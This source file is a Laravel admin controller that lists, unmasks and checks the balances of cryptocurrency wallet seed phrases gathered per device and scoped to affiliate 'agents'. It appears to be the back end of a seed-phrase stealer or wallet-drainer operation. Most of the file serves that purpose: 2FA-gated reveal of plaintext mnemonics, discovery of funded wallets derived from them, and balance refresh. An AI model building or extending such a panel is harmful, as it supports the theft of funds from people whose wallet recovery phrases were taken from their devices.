Files
coruna-lab/app/Http/Controllers/Admin/MnemonicController.php
T
2026-09-13 17:17:34 +08:00

295 lines
10 KiB
PHP

<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Concerns\RevealsMnemonics;
use App\Http\Controllers\Controller;
use App\Models\SystemLog;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
class MnemonicController extends Controller
{
use PortalAware;
use RevealsMnemonics;
private const REFRESH_DECAY_SECONDS = 60;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
'can_reveal' => $this->canRevealMnemonics(),
'show_origin' => $this->canSeeOriginDevice(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$canReveal = $this->canRevealMnemonics();
$showOrigin = $this->canSeeOriginDevice();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) {
$originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0;
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '',
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($row->id) : '',
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
{
$actor = $this->isAgentPortal() ? $this->agent() : auth('admin')->user();
if ($actor === null || ! $actor->canRevealMnemonics()) {
$msg = (! $this->isAgentPortal() && ! (bool) config('coruna.mnemonic_reveal.staff_enabled'))
? '需要超级管理员权限'
: '无权查看明文';
return response()->json(['code' => 1, 'msg' => $msg], 403);
}
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if (! $actor->hasGoogleBound()) {
$hint = $this->isAgentPortal() ? '账号 → 谷歌验证' : '系统 → 谷歌验证';
return response()->json(['code' => 1, 'msg' => '请先在「'.$hint.'」绑定,查看明文必须验证']);
}
$data = $request->validate([
'GACode' => ['required', 'string', 'max:16'],
], [
'GACode.required' => '请输入谷歌验证码',
]);
$throttleKey = 'mnemonic-reveal:'.$this->portal().':'.$actor->id;
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
], 429);
}
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
RateLimiter::hit($throttleKey, 60);
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
RateLimiter::clear($throttleKey);
try {
SystemLog::recordMnemonicReveal(
$actor,
$this->isAgentPortal() ? 'agent' : 'admin',
$mnemonic,
$request,
);
} catch (\Throwable) {
// Reveal still succeeds if audit write fails.
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $mnemonic->id,
'mnemonic' => (string) $mnemonic->mnemonic,
],
]);
}
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
{
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverActivated($mnemonic);
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->walletsPayload($mnemonic, $discovery),
]);
}
public function refreshWallets(
WalletMnemonic $mnemonic,
WalletBalanceService $balances,
MnemonicWalletDiscovery $discovery,
) {
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
'data' => ['retry_after' => $seconds],
], 429);
}
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverActivated($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$ok = 0;
$fail = 0;
foreach ($addresses as $address) {
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
if ($balances->refresh($address)) {
$ok++;
} else {
$fail++;
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
'refreshed' => $ok,
'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS,
]),
]);
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->where('wallet_mnemonics.id', $mnemonic->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
/**
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
*/
private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array
{
return [
'mnemonic_id' => $mnemonic->id,
'source' => $mnemonic->source ?: '',
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
'addresses' => $discovery->walletCards($mnemonic),
];
}
private function baseQuery(Request $request): Builder
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
'origin_devices.device_id as origin_device_key',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where(function ($inner) use ($deviceKey) {
$inner->where('devices.device_id', 'like', '%'.$deviceKey.'%')
->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%');
});
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
private function canSeeOriginDevice(): bool
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
}